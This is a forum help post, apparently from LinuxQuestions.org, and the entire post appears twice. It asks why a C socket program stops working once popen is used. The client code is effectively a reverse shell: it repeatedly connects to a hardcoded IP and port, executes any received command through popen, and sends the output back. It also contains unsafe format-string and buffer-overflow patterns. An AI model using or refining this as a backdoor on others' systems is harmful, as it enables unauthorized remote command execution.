Socket Not Reading Or Writing when client is using popen C
by ReconSlicy from LinuxQuestions.org on (#6Q9DV)
im trying to make a program where i send a command to the client, client executes it with popen and sends the output to me, but for some reason it doesnt but it works if im not using popen and just sending commands just sending messages
Server Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define buffer_size 256
#define response_size 11056
void serverlistener(const char *server_ip, int port);
int main() {
char server_ip[16];
int port;
system("clear");
printf("Enter Server IP: ");
scanf("%15s", server_ip);
system("clear");
printf("Enter PORT: ");
scanf("%d", &port);
system("clear");
serverlistener(server_ip, port);
return EXIT_SUCCESS;
}
void serverlistener(const char *server_ip, int port) {
char buffer[buffer_size];
char full_response[response_size];
int sockfd, newsockfd, n;
socklen_t clilen;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("Failed Creating Socket: ");
exit(1);
}
struct sockaddr_in serv_addr, client_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = inet_addr(server_ip);
if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
perror("Failed Binding IP Address And Port: ");
exit(1);
}
if (listen(sockfd, 5) < 0) {
perror("Failed Listening: ");
exit(1);
}
clilen = sizeof(client_addr);
newsockfd = accept(sockfd, (struct sockaddr *)&client_addr, &clilen);
if (newsockfd < 0) {
perror("Error On Accepting Client: ");
exit(1);
} else {
printf("Client Connection Accepted (%s)\n", inet_ntoa(client_addr.sin_addr));
}
while (1) {
memset(buffer, 0, sizeof(buffer));
memset(full_response, 0, sizeof(full_response));
printf("SecureShell@%s:", inet_ntoa(client_addr.sin_addr));
fgets(buffer, sizeof(buffer), stdin);
n = write(newsockfd, buffer, strlen(buffer));
if(n < 0) {
perror("Error On Writing: ");
}
n = read(newsockfd, full_response, sizeof(full_response));
if(n < 0) {
perror("Failed to read: ");
} else {
printf(full_response);
}
}
close(sockfd);
}
Client Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define buffer_size 256
#define response_size 11056
#define server_ip "192.168.1.107"
#define port 6060
int main() {
int sockfd;
char Error_Message[] = "Something Went Wrong With Popen";
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0) {
perror("Error Creating Socket: ");
}
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = inet_addr(server_ip);
start:
while(connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
goto start;
}
//N Bytes, Files, Buffers
char buffer[buffer_size];
char full_response[response_size];
char line[response_size];
FILE *execute;
int n;
while(1) {
memset(line, 0, sizeof(line));
memset(full_response, 0, sizeof(full_response));
memset(buffer, 0, sizeof(buffer));
n = read(sockfd, buffer, sizeof(buffer));
if(n < 0) {
perror("Error with reading: ");
}
execute = popen(buffer, "r");
if(execute == NULL) {
perror("Error With execute : ");
}
while(fgets(line, sizeof(line), execute) != NULL) {
strcat(full_response, line);
}
printf(full_response);
n = write(sockfd, full_response, strlen(full_response));
if(n < 0) {
perror("Failed to send: ");
}
pclose(execute);
}
return EXIT_SUCCESS;
}
Any Help Will Be Appreciated :)
Server Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define buffer_size 256
#define response_size 11056
void serverlistener(const char *server_ip, int port);
int main() {
char server_ip[16];
int port;
system("clear");
printf("Enter Server IP: ");
scanf("%15s", server_ip);
system("clear");
printf("Enter PORT: ");
scanf("%d", &port);
system("clear");
serverlistener(server_ip, port);
return EXIT_SUCCESS;
}
void serverlistener(const char *server_ip, int port) {
char buffer[buffer_size];
char full_response[response_size];
int sockfd, newsockfd, n;
socklen_t clilen;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("Failed Creating Socket: ");
exit(1);
}
struct sockaddr_in serv_addr, client_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = inet_addr(server_ip);
if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
perror("Failed Binding IP Address And Port: ");
exit(1);
}
if (listen(sockfd, 5) < 0) {
perror("Failed Listening: ");
exit(1);
}
clilen = sizeof(client_addr);
newsockfd = accept(sockfd, (struct sockaddr *)&client_addr, &clilen);
if (newsockfd < 0) {
perror("Error On Accepting Client: ");
exit(1);
} else {
printf("Client Connection Accepted (%s)\n", inet_ntoa(client_addr.sin_addr));
}
while (1) {
memset(buffer, 0, sizeof(buffer));
memset(full_response, 0, sizeof(full_response));
printf("SecureShell@%s:", inet_ntoa(client_addr.sin_addr));
fgets(buffer, sizeof(buffer), stdin);
n = write(newsockfd, buffer, strlen(buffer));
if(n < 0) {
perror("Error On Writing: ");
}
n = read(newsockfd, full_response, sizeof(full_response));
if(n < 0) {
perror("Failed to read: ");
} else {
printf(full_response);
}
}
close(sockfd);
}
Client Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define buffer_size 256
#define response_size 11056
#define server_ip "192.168.1.107"
#define port 6060
int main() {
int sockfd;
char Error_Message[] = "Something Went Wrong With Popen";
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0) {
perror("Error Creating Socket: ");
}
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = inet_addr(server_ip);
start:
while(connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
goto start;
}
//N Bytes, Files, Buffers
char buffer[buffer_size];
char full_response[response_size];
char line[response_size];
FILE *execute;
int n;
while(1) {
memset(line, 0, sizeof(line));
memset(full_response, 0, sizeof(full_response));
memset(buffer, 0, sizeof(buffer));
n = read(sockfd, buffer, sizeof(buffer));
if(n < 0) {
perror("Error with reading: ");
}
execute = popen(buffer, "r");
if(execute == NULL) {
perror("Error With execute : ");
}
while(fgets(line, sizeof(line), execute) != NULL) {
strcat(full_response, line);
}
printf(full_response);
n = write(sockfd, full_response, strlen(full_response));
if(n < 0) {
perror("Failed to send: ");
}
pclose(execute);
}
return EXIT_SUCCESS;
}
Any Help Will Be Appreciated :)